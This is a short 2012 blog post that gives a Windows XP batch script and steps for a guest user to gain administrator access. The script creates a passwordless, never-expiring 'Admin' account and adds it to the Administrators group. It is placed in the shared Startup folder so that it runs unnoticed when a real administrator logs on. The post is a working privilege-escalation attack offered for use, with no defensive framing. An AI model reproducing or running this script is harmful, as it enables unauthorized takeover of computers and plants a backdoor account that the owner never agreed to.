Saturday, 2 June 2012

Create a admin account if u r a Guest in XP


Code:

@echo off
net user Admin /add /expires:never /passwordreq:no
net localgroup “Administrators” /add Admin
now copy this to notepad and save as admin.bat
copy the file to the statup folder.

Here is the path of startup folder.
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
when the admin logs on the batch file runs and the admin acc is created
so next time you log on u can use
username:admin
password:no

No comments:

Post a Comment